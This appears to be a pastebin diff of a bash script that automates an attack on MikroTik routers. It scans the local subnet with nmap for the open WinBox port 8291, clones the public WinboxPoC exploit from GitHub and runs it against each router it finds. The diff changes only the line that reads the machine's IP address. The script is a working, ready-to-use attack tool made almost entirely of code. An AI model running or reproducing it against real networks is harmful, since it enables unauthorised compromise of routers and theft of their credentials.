View difference between Paste ID: zH2cRSim and tVFLG55z
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
# AutoScan Port [Nmap] + Exploit WinboxPoc
3
# WinboxPOC : https://github.com/BasuCert/WinboxPoC
4
# My Github : https://github.com/suhada99
5
# Coded by sUHada - ZeroByte.ID 
6
7
echo "__        ___       ____            ____   ___   ____   "
8
echo "\ \      / (_)_ __ | __ )  _____  _|  _ \ / _ \ / ___|  "
9
echo " \ \ /\ / /| | '_ \|  _ \ / _ \ \/ / |_) | | | | |      "
10
echo "  \ V  V / | | | | | |_) | (_) >  <|  __/| |_| | |___   "
11
echo "   \_/\_/  |_|_| |_|____/ \___/_/\_\_|    \___/ \____|  "
12
echo "														"                                                      
13
14
mask2cidr() {
15
    nbits=0
16
    IFS=.
17
    for dec in $1 ; do
18
        case $dec in
19
            255) let nbits+=8;;
20
            254) let nbits+=7;;
21
            252) let nbits+=6;;
22
            248) let nbits+=5;;
23
            240) let nbits+=4;;
24
            224) let nbits+=3;;
25
            192) let nbits+=2;;
26
            128) let nbits+=1;;
27
            0);;
28
            *) echo "Error: $dec is not recognised"; exit 1
29
        esac
30
    done
31
    echo "$nbits"
32
}
33
34
echo " Starting [!]";
35
echo -ne " Clone Exploit WinboxPoC . . . ";
36
rm -rf WinboxPoC/
37
git clone -q https://github.com/BasuCert/WinboxPoC.git
38
echo " Done [!]";
39
echo " Starting Exploit (Network Local) [!]";
40
echo -ne " GET YOUR IP . . . ";
41-
gEtiP=$(hostname -I | awk '{print $1}');
41+
gEtiP=$(hostname -I | head -1);
42
echo "FOUND [!]"
43
echo " Your IP ${gEtiP} [!]";
44
gEtNet=$(echo ${gEtiP} | cut -d '.' -f 1-3);
45
echo " Scanning Port 8291 [WinBox] in network with Nmap";
46
netmask=$(ifconfig | grep "${gEtiP}" | grep Mask | cut -d":" -f4)
47
numbits=$(mask2cidr $netmask)
48
cEkwBox=$(nmap -p 8291 -oG - "${gEtNet}".0/"${numbits}" | awk '/8291\/open/ {print $2}');
49
if [[ -z $cEkwBox ]]; then
50
	echo " Port 8291 Can't Found!";
51
else
52
	echo " Found IP ${cEkwBox} Port 8291";
53
	echo " Try it Exploit WinboxPoC . . .";
54
	cd WinboxPoC/ && python WinboxExploit.py ${cEkwBox}
55
fi